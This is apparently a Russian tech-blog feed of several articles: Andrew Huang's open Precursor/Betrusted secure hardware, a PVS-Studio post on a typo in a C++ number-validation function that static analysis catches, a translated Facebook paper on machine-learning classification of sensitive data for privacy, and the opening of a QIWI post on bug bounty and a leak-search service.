Wi-Fi-модуль аппаратно изолирован от всех остальных компонентов и работает в собственном окружении. Для повышения уровня безопасности разработчики предусмотрели еще и запираемый корпус, RTC для отслеживания целостности, мониторинг движения в режиме ожидания (всегда включенные акселерометр и гироскоп).

При необходимости можно добавить цепь саморазрушения и очистки всех данных. Активируется эта опция при помощи AES-ключа.


Для работы с аппаратными модулями используется FHDL-язык Migen (Fragmented Hardware Description Language), основанный на Python. Он входит в состав фреймворка LiteX, предоставляющий инфраструктуру для создания электронных схем. Кроме того, разработчик подготовил эталонный SoC Betrusted, включающий 100 MHz CPU VexRISC-V RV32IMAC, а также встраиваемый контроллер Betrusted-EC с ядром 18 MHz LiteX VexRISC-V RV32I.

Предусмотрен и набор криптографических примитивов, включая AES-128, -192, -256 с режимами ECB, CBC и CTR, SHA-2 и SHA-512, криптодвижок на базе эллиптических кривых Curve25519. Основа движка криптоядра Google OpenTitan.


Автор проекта называет Precursor платформой для создания и верификации прототипов. А вот Betrusted готовое устройство на базе платформы. Автор использовал элементы взаимодействия с пользователем для того, чтобы исключить возможность сохранения, демонстрации или передачи защищенных данных вне устройства.

Betrusted не мобильный телефон, а скорее цифровой ассистент, позволяющий повысить безопасность приема и передачи данных.


Автор проекта Эндрю Хуан (Andrew Huang), ранее получивший премию EFF Pioneer Award 2012. Как поклонник open source, он открыл ПО и аппаратное обеспечение как Precursor, так и Betrusted. Используемая лицензия Open Hardware Licence 1.2. Эндрю Хуан открыл схемы, проектную документацию плат, SoC Betrusted и управляющего контроллера. Подготовлены и 3D-модели для желающих распечатать корпус. Готовы прошивки и ОС Xous.

С полным описанием проекта можно ознакомиться здесь.

Подробнее..

Почему обзоры кода это хорошо, но недостаточно

23.09.2020 18:06:49 | Автор: admin
image1.png

Обзоры кода однозначно нужны и полезны. Это возможность передать знания, обучение, контроль выполнения задачи, улучшение качества и оформления кода, исправление ошибок. Причем можно замечать высокоуровневые ошибки, связанные с используемой архитектурой и алгоритмами. В общем всё хорошо, но люди быстро устают. Поэтому статический анализ великолепно дополняет обзоры и помогает выявлять разнообразнейшие неприметные на глаз ошибки и опечатки. Рассмотрим хороший пример на эту тему.

Попробуйте найти ошибку в коде функции, взятой из библиотеки structopt:

static inline bool is_valid_number(const std::string &input) {  if (is_binary_notation(input) ||      is_hex_notation(input) ||      is_octal_notation(input)) {    return true;  }  if (input.empty()) {    return false;  }  std::size_t i = 0, j = input.length() - 1;  // Handling whitespaces  while (i < input.length() && input[i] == ' ')    i++;  while (input[j] == ' ')    j--;  if (i > j)    return false;  // if string is of length 1 and the only  // character is not a digit  if (i == j && !(input[i] >= '0' && input[i] <= '9'))    return false;  // If the 1st char is not '+', '-', '.' or digit  if (input[i] != '.' && input[i] != '+' && input[i] != '-' &&      !(input[i] >= '0' && input[i] <= '9'))    return false;  // To check if a '.' or 'e' is found in given  // string. We use this flag to make sure that  // either of them appear only once.  bool dot_or_exp = false;  for (; i <= j; i++) {    // If any of the char does not belong to    // {digit, +, -, ., e}    if (input[i] != 'e' && input[i] != '.' &&        input[i] != '+' && input[i] != '-' &&        !(input[i] >= '0' && input[i] <= '9'))      return false;    if (input[i] == '.') {      // checks if the char 'e' has already      // occurred before '.' If yes, return false;.      if (dot_or_exp == true)        return false;      // If '.' is the last character.      if (i + 1 > input.length())        return false;      // if '.' is not followed by a digit.      if (!(input[i + 1] >= '0' && input[i + 1] <= '9'))        return false;    }    else if (input[i] == 'e') {      // set dot_or_exp = 1 when e is encountered.      dot_or_exp = true;      // if there is no digit before 'e'.      if (!(input[i - 1] >= '0' && input[i - 1] <= '9'))        return false;      // If 'e' is the last Character      if (i + 1 > input.length())        return false;      // if e is not followed either by      // '+', '-' or a digit      if (input[i + 1] != '+' && input[i + 1] != '-' &&          (input[i + 1] >= '0' && input[i] <= '9'))        return false;    }  }  /* If the string skips all above cases, then  it is numeric*/  return true;}

Чтобы случайно сразу не прочитать ответ, добавлю картинку.

image2.png

Не знаю, нашли Вы ошибку или нет. Даже если нашли, то уверен согласитесь, что найти такую опечатку непросто. Тем более, вы знали, что в функции есть ошибка. Если не знать, то сложно заставить внимательно читать и проверять весь этот код.

В таких ситуациях статический анализатор кода отлично дополнит классический обзор кода. Анализатор не устаёт и дотошно проверит весь код. Как результат, в этой функции анализатор PVS-Studio замечает аномалию и выдаёт предупреждение:

V560 A part of conditional expression is always false: input[i] <= '9'. structopt.hpp 1870

Для тех, кто не заметил ошибку, дам пояснения. Самое главное:

else if (input[i] == 'e') {  ....  if (input[i + 1] != '+' && input[i + 1] != '-' &&      (input[i + 1] >= '0' && input[i] <= '9'))      return false;}

Вышестоящее условие проверяет, что i-тый элемент является буквой 'e'. Соответственно следующая проверка input[i] <= '9' не имеет смысла. Результат второй проверки всегда false, о чём и предупреждает инструмент статического анализа. Причина ошибки проста: человек поспешил и опечатался, забыв написать +1.

Фактически получается, что функция не до конца выполняет свою работу по проверке корректности введённых чисел. Правильный вариант:

else if (input[i] == 'e') {  ....  if (input[i + 1] != '+' && input[i + 1] != '-' &&      (input[i + 1] >= '0' && input[i + 1] <= '9'))      return false;}

Интересное наблюдение. Эту ошибку можно рассматривать как разновидность "эффекта последней строки". Ошибка допущена в самом последнем условии функции. В конце внимание программиста ослабло, и он допустил эту малозаметную ошибку.


Если вам понравится статья про эффект последней строки, то рекомендую познакомиться с другими аналогичными наблюдениями: 0-1-2, memset, сравнения.

Всем пока. Ставлю лайк тем, кто самостоятельно нашёл ошибку.
Подробнее..

Перевод Масштабируемая классификация данных для безопасности и конфиденциальности

23.09.2020 18:06:49 | Автор: admin


Классификация данных на основе контента это открытая задача. Традиционные системы предотвращения потери данных (DLP) решают эту проблему путем снятия отпечатков с соответствующих данных и мониторинга конечных точек для снятия отпечатков. Учитывая большое количество постоянно меняющихся ресурсов данных в Facebook, этот подход не только не масштабируется, но и неэффективен для определения того, где находятся данные. Эта статья посвящена сквозной системе, построенной для обнаружения чувствительных семантических типов в Facebook в масштабе и автоматического обеспечения хранения данных и контроля доступа.

Описанный здесь подход это наша первая сквозная система конфиденциальности, которая пытается решить эту проблему путем включения сигналов данных, машинного обучения и традиционных методов снятия отпечатков для отображения и классификации всех данных в Facebook. Описанная система эксплуатируется в производственной среде, достигая среднего балла F2 0,9+ по различным классам конфиденциальности при обработке большого количества ресурсов данных в десятках хранилищ. Представляем перевод публикации Facebook на ArXiv о масштабируемой классификации данных для обеспечения безопасности и конфиденциальности на основе машинного обучения.

Введение


Сегодня организации собирают и хранят большие объемы данных в различных форматах и местах [1], затем данные потребляются во многих местах, иногда копируются или кэшируются несколько раз, в результате чего ценная и конфиденциальная деловая информация рассеивается по многим корпоративным хранилищам данных. Когда от организации требуется выполнить определенные правовые или нормативные требования, например, соблюдать нормативные акты в ходе гражданского судопроизводства, возникает необходимость сбора данных о местоположении нужных данных. Когда в постановлении о конфиденциальности говорится, что организация должна маскировать все номера социального страхования (SSN) при передаче личной информации неавторизованным субъектам, естественным первым шагом является поиск всех SSN в хранилищах данных всей организации. При таких обстоятельствах классификации данных приобретает решающее значение [1]. Система классификации позволит организациям автоматически обеспечить соблюдение конфиденциальности и политики безопасности, такие как включение политики управления доступом, сохранение данных. Facebook представляет систему, построенную нами в Facebook, которая использует множество сигналов данных, масштабируемую системную архитектуру и машинное обучение для обнаружения чувствительных семантических типов данных.

Обнаружение и классификация данных это их поиск и маркировка таким образом, чтобы при необходимости можно было быстро и эффективно извлекать соответствующую информацию. Нынешний процесс носит скорее ручной характер и заключается в изучении соответствующих законов или нормативных актов, определении того, какие типы информации следует считать чувствительными и каковы различные уровни чувствительности, а затем в соответствующем построении классов и политики классификации [1]. После системы защиты от потери данных (DLP) снимают отпечатки с данных и отслеживают конечные точки вниз по потоку для получения отпечатков. При работе с хранилищем с большим количеством активов и петабайтами данных такой подход просто не масштабируется.

Наша цель в том, чтобы построить систему классификации данных, которая масштабируется как для устойчивых, так и для неустойчивых пользовательских данных, без каких-либо дополнительных ограничений на тип или формат данных. Это смелая цель, и, естественно, она сопряжена с трудностями. Какая-нибудь запись данных может быть длиной в тысячи символов.


Рисунок 1. Потоки онлайн и офлайн-прогнозирования

Поэтому мы должны эффективно представлять ее, используя общий набор признаков, которые впоследствии могут быть объединены и легко перемещены. Эти признаки должны не только обеспечивать точную классификацию, но и обеспечивать гибкость и расширяемость для легкого добавления и обнаружения новых типов данных в будущем. Во-вторых, нужно иметь дело с большими автономными таблицами. Устойчивые данные могут храниться в таблицах размером во много петабайт. Это может привести к снижению скорости сканирования. В-третьих, мы должны соблюдать строгую классификацию SLA по неустойчивым данным. Это заставляет систему быть высокоэффективной, быстрой и точной. Наконец, мы должны обеспечить классификацию данных с низкой задержкой для неустойчивых данных, чтобы выполнять классификацию в режиме реального времени, а также для случаев использования в интернете.

В этой статье описывается, как мы справлялись с проблемами выше, и представляется быстрая и масштабируемая система классификации, которая классифицирует элементы данных всех типов, форматов и источников на основе общего набора признаков. Мы расширили системную архитектуру и создали специальную модель машинного обучения для быстрой классификации офлайн и онлайн-данных. Эта статья организована следующим образом: в разделе 2 представляется общий дизайн системы. В разделе 3 обсуждаются части системы машинного обучения. В разделах 4 и 5 рассказывается о связанной работе, намечается будущее направление работы.

Архитектура


Чтобы справиться с проблемами устойчивых данных и данных онлайна в масштабе Facebook, система классификации имеет два отдельных потока, которые мы подробно обсудим.

Устойчивые данные


Изначально система должна узнать о множестве информационных активов Facebook. Для каждого хранилища собирается некоторая базовая информация, такая как центр обработки данных, содержащий эти данные, система с этими данными и активы, расположенные в конкретном хранилище данных. Это формирует каталог метаданных, позволяющий системе эффективно извлекать данные без перегрузки клиентов и ресурсов, используемых другими инженерами.

Этот каталог метаданных обеспечивает достоверный источник для всех сканируемых активов и позволяет отслеживать состояние различных активов. С помощью этой информации устанавливается приоритет планирования на основе собранных данных и внутренней информации из системы, такой как время последнего успешного сканирования актива и время его создания, а также прошлые требования к памяти и процессору для этого актива, если он сканировался ранее. Затем для каждого ресурса данных (по мере того, как ресурсы становятся доступными) вызывается задание фактического сканирования ресурса.

Каждое задание это скомпилированный двоичный файл, который выполняет выборку Бернулли по последним данным, доступным для каждого актива. Актив разбивается на отдельные столбцы, где результат классификации каждого столбца обрабатывается независимо. Кроме того, система сканирует любые насыщенные данные внутри столбцов. JSON, массивы, кодированные структуры, URL-адреса, сериализованные данные base 64 и многое другое всё это сканируется. Это может значительно увеличить время выполнения сканирования, так как одна таблица может содержать тысячи вложенных столбцов в большом двоичном объекте json.

Для каждой строки, которая выбрана в активе данных, система классификации извлекает плавающие и текстовые объекты из содержимого и связывает каждый объект обратно со столбцом, из которого он был взят. Результат этапа извлечения объектов это карта всех объектов для каждого найденного в активе данных столбца.

Для чего нужны признаки?


Понятие признаков ключевой момент. Вместо признаков float и text мы можем передавать необработанные образцы строк, которые напрямую извлечены из каждого ресурса данных. Кроме того, модели машинного обучения могут обучаться напрямую на каждой выборке, а не на сотнях расчетов признаков, которые только пытаются приблизить выборку. Этому есть несколько причин:

  1. Конфиденциальность прежде всего: самое главное, понятие признаков позволяет нам хранить в памяти только те образцы, которые мы извлекаем. Это гарантирует, что мы храним образцы для единственной цели и никогда не логируем их нашими собственными усилиями. Это особенно важно для неустойчивых данных, поскольку сервис должен поддерживать некоторое состояние классификации, прежде чем предоставлять прогноз.
  2. Память: некоторые сэмплы могут иметь длину в тысячи символов. Хранение таких данных и передача их частям системы без необходимости потребляет много дополнительных байтов. Два фактора могут объединиться с течением времени, учитывая, что существует много ресурсов данных с тысячами столбцов.
  3. Агрегирование признаков: с помощью признаков через их набор четко представляются результаты каждого сканирования, что позволяет системе объединять результаты предыдущих сканирований одного и того же ресурса данных удобным способом. Это может быть полезно для агрегирования результатов сканирования одного ресурса данных в нескольких запусках.

Затем признаки отправляются в сервис прогнозирования, где мы используем классификацию на основе правил и машинное обучение для прогнозирования меток данных каждого столбца. Сервис опирается как на классификаторы правил, так и на машинное обучение и выбирает наилучший прогноз, данный из каждого объекта прогнозирования.

Классификаторы правил это ручная эвристика, она использует расчёты и коэффициенты для нормализации объекта в диапазоне от 0 до 100. Как только такой начальный балл генерируется для каждого типа данных и имени столбца, связанного с этими данными, не попадает ни в какие запрещающие списки, классификатор правил выбирает самый высокий нормализованный балл среди всех типов данных.

Из-за сложности классификации использование исключительно ручной эвристики приводит к низкой точности классификации, особенно для неструктурированных данных. По этой причине мы разработали систему машинного обучения для работы с классификацией неструктурированных данных, таких как пользовательский контент и адрес. Машинное обучение позволило начать отходить от ручной эвристики и применять дополнительные сигналы данных (например, имена столбцов, происхождение данных), значительно повышая точность обнаружения. Мы глубоко погрузимся в нашу архитектуру машинного обучения позже.

Служба прогнозирования хранит результаты для каждого столбца вместе с метаданными, касающимися времени и состояния сканирования. Любые потребители и нижестоящие процессы, зависящие от этих данных, могут считывать их из ежедневно публикуемого набора данных. Этот набор агрегирует результаты всех этих заданий сканирования, или API реального времени каталога данных. Опубликованные прогнозы фундамент автоматического применения политики конфиденциальности и безопасности.

Наконец, после того как служба прогнозирования записывает все данные и все прогнозы сохраняются, наш API каталога данных может возвращать все прогнозы типов данных для ресурса в режиме реального времени. Каждый день система публикует набор данных, содержащий все последние прогнозы для каждого актива.

Неустойчивые данные


Хотя описанный выше процесс создан для сохраняемых активов, не сохраняемый трафик также считается частью данных организации и может быть важным. По этой причине система предоставляет онлайн-API генерации прогнозов классификации в реальном времени для любого неустойчивого трафика. Система прогнозирования в реальном времени широко используется при классификации исходящего трафика, входящего трафика в модели машинного обучения и данных рекламодателей.

Здесь API принимает два основных аргумента: ключ группировки и необработанные данные, которые должны быть спрогнозированы. Сервис выполняет то же извлечение объектов, что описано выше, и группирует объекты вместе для одного и того же ключа. Эти признаки также поддерживаются в сохраняемом кэше для восстановления после отказа. Каждому ключу группировки служба гарантирует, что перед вызовом сервиса прогнозирования она видела достаточно выборок в соответствии с процессом, описанным выше.

Оптимизация


Для сканирования некоторых хранилищ мы используем библиотеки и методы оптимизации чтения из горячего хранилища [2] и гарантируем, что нет никаких сбоев со стороны других пользователей, получающих доступ к тому же хранилищу.

Для чрезвычайно больших таблиц (50 + петабайт), несмотря на все оптимизации и эффективность памяти, система работает над сканированием и вычислением всего, прежде чем закончится память. В конце концов, сканирование полностью вычисляется в памяти и не сохраняется в течение сканирования. Если большие таблицы содержат тысячи столбцов с неструктурированными сгустками данных, задание может завершиться неудачей из-за нехватки ресурсов памяти при выполнении прогнозов для всей таблицы. Это приведет к уменьшению покрытия. Чтобы бороться с этим, мы оптимизировали систему, чтобы использовать скорость сканирования в качестве посредника в том, насколько хорошо система справляется с текущей нагрузкой. Мы используем скорость как прогностический механизм, тчобы видеть проблемы с памятью и при упреждающем расчете карты объектов. При этом мы используем меньше данных, чем обычно.

Сигналы данных


Система классификации хороша настолько, насколько хороши сигналы от данных. Здесь мы рассмотрим все сигналы, используемые системой классификации.

  • На основе содержимого: конечно, первый и важнейший сигнал это содержимое. Выполняется выборка Бернулли по каждому активу данных, который мы сканируем и извлекаем признаки по содержанию данных. Многие признаки происходят из содержимого. Возможно любое количество плавающих объектов, которые представляют рассчеты того, сколько раз был замечен определенный тип образца. Например, у нас могут быть ротзнаки количества электронных писем, увиденных в выборке, или признаки того, сколько смайликов замечено в выборке. Эти расчеты признаков можно нормализовать и агрегировать по различным сканированиям.
  • Происхождения данных: важный сигнал, который может помочь, когда содержимое изменилось из родительской таблицы. Распространенный пример хэшированные данные. Когда данные в дочерней таблице хэшируются, они часто поступают из родительской таблицы, где остаются в открытом виде. Данные о происхождении помогают классифицировать определенные типы данных, когда они не читаются четко или преобразованы из таблицы вверх по потоку.
  • Аннотации: еще один высококачественный сигнал, помогающий в идентификации неструктурированных данных. Фактически аннотации и данные происхождения могут работать вместе для распространения атрибутов между различными активами данных. Аннотации помогают идентифицировать источник неструктурированных данных, в то время как данные о происхождении могут помочь отслеживать поток этих данных по всему хранилищу.
  • Инъекция данных это метод, когда намеренно вводятся специальные, нечитаемые символы в известные источники с известными типами данных. Затем, всякий раз, когда мы сканируем содержимое с одной и той же нечитаемой последовательностью символов, можно сделать вывод, что содержимое исходит из этого известного типа данных. Это еще один качественный сигнал данных, подобный аннотациям. За исключением того, что обнаружение на основе контента помогает обнаружить введенные данные.


Измерение метрик


Важный компонент строгая методологии измерения метрик. Основными метриками итерации улучшения классификации точность и отзыв каждой метки, причем оценка F2 важнейшая.

Для расчета этих показателей необходима независимая методология маркировки активов данных, которая не зависит от самой системы, но может использоваться для непосредственного сравнения с ней. Ниже мы опишем, как мы собираем основную истину из Facebook и используем ее для обучения нашей системы классификации.

Сбор достоверных данных


Мы накапливаем достоверные данные из каждого источника, перечисленного ниже, в его собственную таблицу. Каждая таблица отвечает за агрегирование последних наблюдаемых значений из этого конкретного источника. У каждого источника есть проверка качества данных, чтобы гарантировать, что наблюдаемые значения для каждого источника высококачественны и содержат последние метки типов данных.

  • Конфигурации платформы логирования: определенные поля в таблицах улья заполняются данными, которые относятся к определенному типу. Использование и распространение этих данных служит надежным источником достоверных данных.
  • Ручная маркировка: разработчики, поддерживающие систему, а также внешние маркировщики обучены маркировать столбцы. Это обычно хорошо работает для всех типов данных в хранилище, и может быть основным источником достоверности для некоторых неструктурированных данных, таких как данные сообщений или пользовательский контент.
  • Столбцы из родительских таблиц могут помечаться или аннотироваться как содержащие определенные данные, и мы можем отслеживать эти данные в нижестоящих таблицах.
  • Выборка потоков выполнения: потоки выполнения в Facebook несут данные определенного типа. Используя наш сканер в качестве сервисной архитектуры, мы можем делать выборку потоков, имеющих известные типы данных, и отправлять их через систему. Система обещает не хранить эти данные.
  • Таблицы выборки: большие таблицы улья, которые, как известно, содержат весь корпус данных, также могут использоваться в качестве обучающих данных и передаваться через сканер как сервис. Это отлично подходит для таблиц с полным диапазоном типов данных, так что выборка столбца случайным образом эквивалентна выборке всего множества этого типа данных.
  • Синтетические данные: мы можем даже использовать библиотеки, которые генерируют данные на лету. Это хорошо работает для простых, общедоступных типов данных, таких как адрес или GPS.
  • Стюарды данных: программы конфиденциальности, как правило, используют стюардов данных для ручного закрепления политик за частями данных. Это служит высокоточным источником достоверности.

Мы объединяем каждый основной источник достоверных данных в один корпус со всеми этими данными. Самая большая проблема с достоверностью заключается в том, чтобы убедиться, что она репрезентативна хранилищу данных. В противном случае движки классификации могут переобучиться. В борьбе с этим все вышеперечисленные источники утилизируются, чтобы обеспечить баланс при обучении моделей или вычислении метрик. Кроме того, люди маркировщики равномерно отбирают различные столбцы в хранилище и соответствующим образом маркируют данные, чтобы сбор достоверных значений оставался беспристрастным.

Непрерывная интеграция


Чтобы обеспечить быструю итерацию и улучшение, важно всегда измерять производительность системы в режиме реального времени. Мы можем измерять каждое улучшение классификации в сравнении с системой сегодня, так что тактически можем ориентироваться на данные в дальнейших улучшениях. Здесь мы рассмотрим, как система завершает цикл обратной связи, который обеспечивается достоверными данными.

Когда система планирования сталкивается с активом, который имеет метку от достоверного источника, мы планируем две задачи. Первая использует наши производственные сканер и, таким образом, наши производственные возможности. Вторая задача использует сканер последней сборки с последними признаками. Каждая задача пишет свой вывод в собственную таблицу, помечая версии вместе с результатами классификации.

Так мы сравниваем результаты классификации релиз-кандидата и производственной модели в режиме реального времени.

Пока наборы данных сравнивают признаки RC и PROD, логируется множество вариаций движка классификации ML сервиса прогнозирования. Самая последняя построенная модель машинного обучения, текущая модель в производстве и любые экспериментальные модели. Тот же самый подход позволяет нам разрезать различные версии модели (агностик наших классификаторов правил) и сравнивать метрики в режиме реального времени. Так легко определить, когда эксперимент с ML готов к внедрению в производство.

Каждую ночь RC-признаки, рассчитанные для этого дня, отправляются в обучающий конвейер ML, где модель обучается на последних RC-признаках и оценивает свою производительность в сравнении с достоверным набором данных.

Каждое утро модель завершает обучение и автоматически публикуется в качестве экспериментальной. Она автоматически включается в список экспериментальных.

Некоторые результаты


Маркируется более 100 различных типов данных с высокой точностью. Хорошо структурированные типы, такие как электронные письма и телефонные номера, классифицируются с оценкой f2 более 0,95. Свободные типы данных, такие как пользовательский контент и имя, также работают очень хорошо, с F2-баллами более 0,85.

Ежедневно классифицируется большое количество отдельных столбцов устойчивых и неустойчивых данных во всех хранилищах. Более 500 терабайт сканируются ежедневно в более чем 10 хранилищах данных. Охват большинства из этих хранилищ составляет более 98%.

Со временем классификация стала очень эффективной, так как задания классификации в сохраняемом автономном потоке занимают в среднем 35 секунд от сканирования актива до вычисления прогнозов для каждого столбца.


Рис. 2. Диаграмма, описывающая непрерывный поток интеграции, чтобы понимать, как RC-объекты генерируются и отправляются в модель.


Рисунок 3. Высокоуровневая диаграмма компонента машинного обучения.

Компонент системы машинного обучения


В предыдущем разделе мы глубоко погрузились в архитектуру всей системы, выделив масштаб, оптимизацию и потоки данных в автономном и онлайн-режиме. В этом разделе мы рассмотрим сервис прогнозирования и опишем систему машинного обучения, которая обеспечивает работу службы прогнозирования.

С более чем 100 типами данных и некоторым неструктурированным содержимым, таким как данные сообщений и пользовательский контент, использование исключительно ручной эвристики приводит к субпараметрической точности классификации, особенно для неструктурированных данных. По этой причине мы также разработали систему машинного обучения для работы со сложностями неструктурированных данных. Использование машинного обучения позволяет начать отходить от ручной эвристики и работать с признаками и дополнительные сигналами данных (например, именами столбцов, происхождением данных) для повышения точности.

Реализованная модель изучает векторные представления [3] над плотными и разреженными объектами отдельно. Затем они объединяются, чтобы сформировать вектор, который проходит через серию этапов пакетной нормализации [4] и нелинейности для получения конечного результата. Конечный результат число с плавающей точкой между [0-1] для каждой метки, указывающий вероятность того, что пример принадлежит данному типу чувствительности. Использование PyTorch для модели позволило нам двигаться быстрее, дав возможность разработчикам вне команды быстро вносить и тестировать изменения.

При проектировании архитектуры было важно моделировать разреженные (например, текстовые) и плотные (например, числовые) объекты отдельно из-за их внутреннего различия. Для окончательной архитектуры также было важно выполнить развертку параметров, чтобы найти оптимальное значение скорости обучения, размера пакета и других гиперпараметров. Выбор оптимизатора также был важным гиперпараметром. Мы обнаружили, что популярный оптимизатор Adamчасто приводит к переобучению, тогда как модель с SGD стабильнее. Были дополнительные нюансы, которые мы должны были включить непосредственно в модель. Например, статические правила, которые гарантировали, что модель делает детерминированный прогноз, когда признак имеет определенное значение. Эти статические правила определены нашими клиентами. Мы обнаружили, что включение их непосредственно в модель привело к созданию более самодостаточной и надежной архитектуры, в отличие от реализации этапа постобработки для обработки этих специальных граничных случаев. Также обратите внимание, что во время тренировки эти правила отключены, чтобы не мешать тренировочному процессу градиентного спуска.

Проблемы


Одной из проблем был сбор высококачественных достоверных данных. Модель нуждается в достоверности для каждого класса, чтобы она могла изучать ассоциации между объектами и метками. В предыдущем разделе мы обсуждали методы сбора данных как для измерения системы, так и для обучения моделей. Анализ показал, что такие классы данных, как номера кредитных карт и банковских счетов не очень распространены в нашем хранилище. Это затрудняет сбор больших объемов достоверных данных для обучения моделей. Чтобы решить эту проблему, мы разработали процессы получения синтетических достоверных данных для этих классов. Мы генерируем такие данные для чувствительных типов, включая SSN, номера кредитных карт и IBAN-номера, для которых модель не могла прогнозировать ранее. Этот подход позволяет обрабатывать конфиденциальные типы данных без риска конфиденциальности, связанного с укрывательством реальных конфиденциальных данных.

Помимо проблем достоверных данных, есть открытые архитектурные проблемы, над которыми мы работаем, такие как изоляция изменений и ранняя остановка. Изоляция изменений важна для того, чтобы при внесении различных изменений в различные части сети воздействие было изолировано от конкретных классов и не оказывало широкого влияния на общую производительность прогнозирования. Улучшение критериев ранней остановки также имеет решающее значение для того, чтобы мы могли остановить тренировочный процесс в стабильной точке для всех классов, а не в той точке, где некоторые классы переобучаются, а другие нет.

Важность признака


Когда в модель вводится новый признак, мы хотим знать его общее влияние на модель. Мы также хотим убедиться, что прогнозы интерпретируемы человеком, чтобы можно было точно понять, какие признаки используются для каждого типа данных. Для этого мы разработали и ввели поклассовую важность признаков для модели PyTorch. Обратите внимание, что это отличается от общей важности признака, которая обычно поддерживается, потому что она не говорит нам, какие признаки важны для определенного класса. Мы измеряем важность объекта, вычисляя увеличение ошибки прогноза после перестановки объекта. Признак является важным, когда перестановка значений увеличивает ошибку модели, поскольку в этом случае модель полагалась на признак в прогнозировании. Признак неважен, когда перетасовка его значений оставляет ошибку модели неизменной, поскольку в этом случае модель игнорировала его [5].

Важность признака для каждого класса позволяет сделать модель интерпретируемой, чтобы мы могли видеть, на что модель обращает внимание при прогнозировании метки. Например, когда мы анализируем ADDR, то гарантируем, что связанный с адресом признак, такой как AddressLinesCount, занимает высокое место в таблице важности признаков для каждого класса, чтобы наша человеческая интуиция хорошо согласовывалась с тем, что изучила модель.

Оценка


Важно определить единую метрику успеха. Мы выбрали F2 баланс между отзывом и точностью (смещение отзыва немного больше). Отзыв важнее для случая использования конфиденциальности, чем точность, потому что для команды крайне важно не пропустить никаких конфиденциальных данных (обеспечивая при этом разумную точность). Фактические данные оценки производительности F2 нашей модели выходят за рамки данной статьи. Тем не менее, при тщательной настройке мы можем достичь высокого (0,9+) балла F2 для наиболее важных чувствительных классов.

Связанная работа


Существует множество алгоритмов автоматической классификации неструктурированных документов с использованием различных методов, таких как сопоставление шаблонов, поиск сходства документов и различные методы машинного обучения (байесовские, деревья решений, k-ближайших соседей и многие другие) [6]. Любой из них может использоваться как часть классификации. Однако проблема в масштабируемости. Подход к классификации в этой статье смещен в сторону гибкости и производительности. Это позволяет нам поддерживать новые классы в будущем и поддерживать низкую задержку.

Существует также масса работ по снятию отпечатков с данных. Например, авторы в [7] описали решение, которое фокусируется на проблеме улавливания утечек конфиденциальных данных. Основное предположение заключается в возможности отпечатка с данных, чтобы сопоставить его с набором известных конфиденциальных данных. Авторы в [8] описывают аналогичную проблему утечки конфиденциальности, но их решение основано на конкретной архитектуре Android и классифицируется только в том случае, когда действия пользователя привели к отправке личной информации или если в базовом приложении утечка пользовательских данных. Ситуация здесь несколько отличается, поскольку пользовательские данные также могут быть сильно неструктурированными. Поэтому нам нужна более сложная техника, чем снятие отпечатков.

Наконец, чтобы справиться с нехваткой данных для некоторых типов конфиденциальных данных, мы ввели синтетические данные. Существует большой объем литературы по аугментации данных, например, авторы в [9] исследовали роль инъекции шума во время обучения и наблюдали положительные результаты в контролируемом обучении. Наш подход к конфиденциальности отличается, потому что введение зашумленных данных может быть контрпродуктивным, и вместо этого мы фокусируемся на высококачественных синтетических данных.

Заключение


В этой статье мы представили систему, которая может классифицировать фрагмент данных. Это позволяет нам создавать системы обеспечения соблюдения политик конфиденциальности и безопасности. Мы показали, что масштабируемая инфраструктура, непрерывная интеграция, машинное обучение и высококачественные данные о достоверности данных играют ключевую роль в успехе многих наших инициатив в области конфиденциальности.

Есть много направлений будущей работы. Она может включать обеспечение поддержки несхематизированных данных (файлов), классификацию не только типа данных, но и уровня чувствительности, а также использование самоконтролируемого обучения непосредственно во время обучения путем генерации точных синтетических примеров. Которые, в свою очередь помогут модели уменьшить потери на наибольшую величину. Будущая работа может также сосредоточиться на рабочем процессе расследования, где мы выходим за рамки обнаружения и предоставляем анализ первопричин различных нарушений конфиденциальности. Это поможет в таких случаях, как анализ чувствительности (т.е. является ли чувствительность конфиденциальности типа данных высокой (например, IP пользователя) или низкой (например, внутренний IP Facebook)).

Библиография
  1. David Ben-David, Tamar Domany, and Abigail Tarem. Enterprise data classification using semantic web technolo- gies. In Peter F. Patel-Schneider, Yue Pan, Pascal Hitzler, Peter Mika, Lei Zhang, Jeff Z. Pan, Ian Horrocks, and Birte Glimm, editors, The Semantic Web ISWC 2010, pages 6681, Berlin, Heidelberg, 2010. Springer Berlin Heidelberg.
  2. Subramanian Muralidhar, Wyatt Lloyd, Sabyasachi Roy, Cory Hill, Ernest Lin, Weiwen Liu, Satadru Pan, Shiva Shankar, Viswanath Sivakumar, Linpeng Tang, and Sanjeev Kumar. f4: Facebooks warm BLOB storage system. In 11th USENIX Symposium on Operating Systems Design and Implementation (OSDI 14), pages 383398, Broomfield, CO, October 2014. USENIX Association.
  3. Tomas Mikolov, Ilya Sutskever, Kai Chen, Greg S Corrado, and Jeff Dean. Distributed representations of words and phrases and their compositionality. In C. J. C. Burges, L. Bottou, M. Welling, Z. Ghahramani, and K. Q. Weinberger, editors, Advances in Neural Information Processing Systems 26, pages 31113119. Curran Associates, Inc., 2013.
  4. Sergey Ioffe and Christian Szegedy. Batch normalization: Accelerating deep network training by reducing internal covariate shift. In Francis Bach and David Blei, editors, Proceedings of the 32nd International Conference on Machine Learning, volume 37 of Proceedings of Machine Learning Research, pages 448456, Lille, France, 0709 Jul 2015. PMLR.
  5. Leo Breiman. Random forests. Mach. Learn., 45(1):532, October 2001.
  6. Thair Nu Phyu. Survey of classification techniques in data mining.
  7. X. Shu, D. Yao, and E. Bertino. Privacy-preserving detection of sensitive data exposure. IEEE Transactions on Information Forensics and Security, 10(5):10921103, 2015.
  8. Zhemin Yang, Min Yang, Yuan Zhang, Guofei Gu, Peng Ning, and Xiaoyang Wang. Appintent: Analyzing sensitive data transmission in android for privacy leakage detection. pages 10431054, 11 2013.
  9. Qizhe Xie, Zihang Dai, Eduard H. Hovy, Minh-Thang Luong, and Quoc V. Le. Unsupervised data augmentation.

image

Узнайте подробности, как получить востребованную профессию с нуля или Level Up по навыкам и зарплате, пройдя онлайн-курсы SkillFactory:



Подробнее..

Leak-Search как и зачем QIWI создала сервис, который ищет утечки исходных кодов компаний

24.09.2020 14:19:46 | Автор: admin

Искать утечки и уязвимости в своих продуктах не только интересно и полезно, но и необходимо. Еще полезнее подключать к таким поискам внешних специалистов и энтузиастов, у которых не настолько замылен глаз, как у сотрудников. Поэтому в свое время мы в QIWI запустили программу bug bounty исследователи писали нам об уязвимостях и получали вознаграждение, а мы закрывали эти уязвимости.

